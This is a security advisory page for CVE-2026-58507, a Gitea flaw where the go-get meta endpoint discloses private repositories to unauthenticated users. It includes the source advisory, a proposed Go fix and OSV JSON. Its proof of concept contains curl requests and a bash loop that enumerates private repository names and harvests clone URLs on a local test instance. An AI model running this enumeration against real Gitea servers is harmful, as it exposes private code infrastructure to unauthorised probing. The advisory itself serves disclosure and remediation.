CVE-2026-58507: Gitea Private Repository Existence Disclosure Vulnerability

MODERATE
Advisory Identifier: GHSA-p4mj-98mv-xq26
CVSS 5.3
CWE-284 CWE-200
Published
Advisory Summary

CVE-2026-58507 is a MODERATE (CVSS 5.3) private repository existence disclosure vulnerability (CWE-284: Improper Access Control) affecting Gitea libraries in the Go ecosystem. The issue involves private repository existence disclosure via go-get meta endpoint. Remediation is available by upgrading affected packages to version 1.27.0.

CVE-2026-58507 at a Glance

CVE Identifier CVE-2026-58507
GHSA Identifier GHSA-p4mj-98mv-xq26
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-284: Improper Access Control
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-58507

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-58507, inspect your project dependencies for Gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

| Field | Value | |-------|-------| | **Affected File** | `routers/web/repo/githttp.go`, `services/context/repo.go` | | **Affected Functions** | `httpBase()`, `EarlyResponseForGoGetMeta()` | | **Affected Lines** | `githttp.go:63–66`, `services/context/repo.go:374–396` | | **Prerequisite** | None — fully unauthenticated | --- #### Description Gitea implements a special behavior for requests containing the `?go-get=1` query parameter. This parameter is sent by the Go toolchain (`go get`, `go install`) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing `<meta name="go-import">` and `<meta name="go-source">` tags — regardless of whether: - The repository is private - The requesting user is authenticated - The requesting user has any permission on the repository The entry point is `routers/web/repo/githttp.go:63–66`: ```go func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler { reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git") if ctx.FormString("go-get") == "1" { context.EarlyResponseForGoGetMeta(ctx) return nil // ← returns before any auth or permission check } ... ``` The `EarlyResponseForGoGetMeta` function (`services/context/repo.go:379–396`) is called unconditionally, and the function's own docstring documents the intended behavior: ```go // EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200 // if user does not have actual access to the requested repository, // or the owner or repository does not exist at all. // This is particular a workaround for "go get" command which does not respect // .netrc file. func EarlyResponseForGoGetMeta(ctx *Context) { username := ctx.PathParam("username") reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git") ... ctx.PlainText(http.StatusOK, htmlMeta) // ← HTTP 200, no auth check } ``` The function also appears at `services/context/repo.go:444, 516, 571` — all repository-scoped route handlers that check `?go-get=1` and call `EarlyResponseForGoGetMeta` before performing any permission verification. The metadata returned includes: 1. The **full repository name** and owner — confirming the repository exists 2. The **HTTP clone URL** — a fully-formed URL pointing to the repository 3. The **source browsing URL templates** — which may reveal the default branch name This allows an unauthenticated attacker to: 1. **Confirm existence** of any private repository by name 2. **Enumerate** private repository names through brute-force without triggering authentication failures 3. **Harvest** clone URLs and default branch names of private repositories --- #### Proof of Concept **Step 1 — Identify a private repository** Any private repository works. For this demonstration, `admin/classified-internal` is set to private: --- **Step 2 — Confirm access is denied without authentication** Standard requests to a private repository correctly return 404 for unauthenticated users. --- **Step 3 — Bypass using go-get parameter** ```bash curl -s "http://localhost:3000/admin/classified-internal?go-get=1" ``` **Actual response (HTTP 200):** ```html <!doctype html> <html> <head> <meta name="go-import" content="localhost:3000/admin/classified-internal git http://localhost:3000/admin/classified-internal.git"> <meta name="go-source" content="localhost:3000/admin/classified-internal _ http://localhost:3000/admin/classified-internal/src/branch/main{/dir} http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}"> </head> <body> go get --insecure localhost:3000/admin/classified-internal </body> </html> ``` The response: - Returns HTTP **200** (not 404) — confirming the repository **exists** - Reveals the **full clone URL**: `http://localhost:3000/admin/classified-internal.git` - Reveals the **default branch name**: `main` - Reveals the **owner username**: `admin` This same response is returned whether or not the repository exists — the comment in `EarlyResponseForGoGetMeta` states it responds identically for both — however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting `git ls-remote`. --- **Step 4 — Enumerate private repositories at scale** ```bash # Enumerate private repos by guessing common names for name in internal deploy secrets infra api-keys prod-config db-creds; do response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1") if echo "$response" | grep -q "go-import"; then clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+') echo "[FOUND] admin/${name} → clone: http://${clone_url}" fi done ``` --- **Step 5 — Verify the same applies to the main web router** The vulnerability also exists via the standard web router for repository pages: ```bash # Works on any repo-scoped URL curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import" curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1" | grep "go-import" ``` All return HTTP 200 with the metadata. --- #### Impact Analysis **Direct impact:** | What is leaked | Sensitivity | |----------------|-------------| | Repository exists | Confirms presence of private infrastructure code, internal tooling, unreleased products | | Owner / organization name | Reveals organizational structure | | Clone URL | Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint | | Default branch name | Reduces brute-force surface for subsequent attacks | --- #### Root Cause Analysis The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading `.netrc` credentials before deciding whether a module is accessible. The Go `go get` command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials. The workaround — returning metadata unconditionally — was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance. --- #### Recommended Fix The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling `EarlyResponseForGoGetMeta`. ```go // routers/web/repo/githttp.go:63–66 — proposed fix if ctx.FormString("go-get") == "1" { // For public repos, always respond to support the go toolchain if repo != nil && !repo.IsPrivate { context.EarlyResponseForGoGetMeta(ctx) return nil } // For private repos, only respond if the user is authenticated // and has at least read access if ctx.IsSigned { if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil { if perm.CanRead(unit.TypeCode) { context.EarlyResponseForGoGetMeta(ctx) return nil } } } // Unauthenticated request for a private repo — return 404 consistent // with normal behavior; the go toolchain will prompt for credentials ctx.PlainText(http.StatusNotFound, "Repository not found") return nil } ``` This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports. ---

CVE-2026-58507 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.27.0
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.27.0
1.27.0

References

Frequently Asked Questions

What is CVE-2026-58507?
CVE-2026-58507 is a security vulnerability in Gitea involving Private Repository Existence Disclosure via go-get Meta Endpoint under CWE-284: Improper Access Control.
Which Gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-58507?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What is the CVSS score of CVE-2026-58507?
CVE-2026-58507 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-58507?
CVE-2026-58507 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-58507?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p4mj-98mv-xq26",
  "modified" : "2026-07-21T20:23:48Z",
  "published" : "2026-07-21T20:23:48Z",
  "aliases" : [ "CVE-2026-58507" ],
  "summary" : "Gitea: Private Repository Existence Disclosure via go-get Meta Endpoint",
  "details" : "| Field | Value |\n|-------|-------|\n| **Affected File** | `routers/web/repo/githttp.go`, `services/context/repo.go` |\n| **Affected Functions** | `httpBase()`, `EarlyResponseForGoGetMeta()` |\n| **Affected Lines** | `githttp.go:63–66`, `services/context/repo.go:374–396` |\n| **Prerequisite** | None — fully unauthenticated |\n\n---\n\n#### Description\n\nGitea implements a special behavior for requests containing the `?go-get=1` query parameter. This parameter is sent by the Go toolchain (`go get`, `go install`) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing `<meta name=\"go-import\">` and `<meta name=\"go-source\">` tags — regardless of whether:\n\n- The repository is private\n- The requesting user is authenticated\n- The requesting user has any permission on the repository\n\nThe entry point is `routers/web/repo/githttp.go:63–66`:\n\n```go\nfunc httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {\n    reponame := strings.TrimSuffix(ctx.PathParam(\"reponame\"), \".git\")\n\n    if ctx.FormString(\"go-get\") == \"1\" {\n        context.EarlyResponseForGoGetMeta(ctx)\n        return nil   // ← returns before any auth or permission check\n    }\n    ...\n```\n\nThe `EarlyResponseForGoGetMeta` function (`services/context/repo.go:379–396`) is called unconditionally, and the function's own docstring documents the intended behavior:\n\n```go\n// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200\n// if user does not have actual access to the requested repository,\n// or the owner or repository does not exist at all.\n// This is particular a workaround for \"go get\" command which does not respect\n// .netrc file.\nfunc EarlyResponseForGoGetMeta(ctx *Context) {\n    username := ctx.PathParam(\"username\")\n    reponame := strings.TrimSuffix(ctx.PathParam(\"reponame\"), \".git\")\n    ...\n    ctx.PlainText(http.StatusOK, htmlMeta)   // ← HTTP 200, no auth check\n}\n```\n\nThe function also appears at `services/context/repo.go:444, 516, 571` — all repository-scoped route handlers that check `?go-get=1` and call `EarlyResponseForGoGetMeta` before performing any permission verification.\n\nThe metadata returned includes:\n\n1. The **full repository name** and owner — confirming the repository exists\n2. The **HTTP clone URL** — a fully-formed URL pointing to the repository\n3. The **source browsing URL templates** — which may reveal the default branch name\n\nThis allows an unauthenticated attacker to:\n\n1. **Confirm existence** of any private repository by name\n2. **Enumerate** private repository names through brute-force without triggering authentication failures\n3. **Harvest** clone URLs and default branch names of private repositories\n\n---\n\n#### Proof of Concept\n\n**Step 1 — Identify a private repository**\n\nAny private repository works. For this demonstration, `admin/classified-internal` is set to private:\n\n---\n\n**Step 2 — Confirm access is denied without authentication**\n\nStandard requests to a private repository correctly return 404 for unauthenticated users.\n\n---\n\n**Step 3 — Bypass using go-get parameter**\n\n```bash\ncurl -s \"http://localhost:3000/admin/classified-internal?go-get=1\"\n```\n\n**Actual response (HTTP 200):**\n\n```html\n<!doctype html>\n<html>\n    <head>\n        <meta name=\"go-import\"\n              content=\"localhost:3000/admin/classified-internal\n                       git\n                       http://localhost:3000/admin/classified-internal.git\">\n        <meta name=\"go-source\"\n              content=\"localhost:3000/admin/classified-internal\n                       _\n                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}\n                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}\">\n    </head>\n    <body>\n        go get --insecure localhost:3000/admin/classified-internal\n    </body>\n</html>\n```\n\nThe response:\n- Returns HTTP **200** (not 404) — confirming the repository **exists**\n- Reveals the **full clone URL**: `http://localhost:3000/admin/classified-internal.git`\n- Reveals the **default branch name**: `main`\n- Reveals the **owner username**: `admin`\n\nThis same response is returned whether or not the repository exists — the comment in `EarlyResponseForGoGetMeta` states it responds identically for both — however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting `git ls-remote`.\n\n---\n\n**Step 4 — Enumerate private repositories at scale**\n\n```bash\n# Enumerate private repos by guessing common names\nfor name in internal deploy secrets infra api-keys prod-config db-creds; do\n  response=$(curl -s \"http://localhost:3000/admin/${name}?go-get=1\")\n  if echo \"$response\" | grep -q \"go-import\"; then\n    clone_url=$(echo \"$response\" | grep -oP 'git http://\\K[^ \"]+')\n    echo \"[FOUND] admin/${name} → clone: http://${clone_url}\"\n  fi\ndone\n```\n\n---\n\n**Step 5 — Verify the same applies to the main web router**\n\nThe vulnerability also exists via the standard web router for repository pages:\n\n```bash\n# Works on any repo-scoped URL\ncurl -s \"http://localhost:3000/admin/classified-internal/releases?go-get=1\" | grep \"go-import\"\ncurl -s \"http://localhost:3000/admin/classified-internal/issues?go-get=1\"   | grep \"go-import\"\n```\n\nAll return HTTP 200 with the metadata.\n\n---\n\n#### Impact Analysis\n\n**Direct impact:**\n\n| What is leaked | Sensitivity |\n|----------------|-------------|\n| Repository exists | Confirms presence of private infrastructure code, internal tooling, unreleased products |\n| Owner / organization name | Reveals organizational structure |\n| Clone URL | Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint |\n| Default branch name | Reduces brute-force surface for subsequent attacks |\n\n---\n\n#### Root Cause Analysis\n\nThe bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading `.netrc` credentials before deciding whether a module is accessible. The Go `go get` command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.\n\nThe workaround — returning metadata unconditionally — was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.\n\n---\n\n#### Recommended Fix\n\nThe fix requires differentiating between requests that carry authentication credentials and those that do not, before calling `EarlyResponseForGoGetMeta`.\n\n```go\n// routers/web/repo/githttp.go:63–66 — proposed fix\n\nif ctx.FormString(\"go-get\") == \"1\" {\n    // For public repos, always respond to support the go toolchain\n    if repo != nil && !repo.IsPrivate {\n        context.EarlyResponseForGoGetMeta(ctx)\n        return nil\n    }\n    // For private repos, only respond if the user is authenticated\n    // and has at least read access\n    if ctx.IsSigned {\n        if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {\n            if perm.CanRead(unit.TypeCode) {\n                context.EarlyResponseForGoGetMeta(ctx)\n                return nil\n            }\n        }\n    }\n    // Unauthenticated request for a private repo — return 404 consistent\n    // with normal behavior; the go toolchain will prompt for credentials\n    ctx.PlainText(http.StatusNotFound, \"Repository not found\")\n    return nil\n}\n```\n\nThis approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-p4mj-98mv-xq26"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-284" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T20:23:48Z",
    "nvd_published_at" : null
  }
}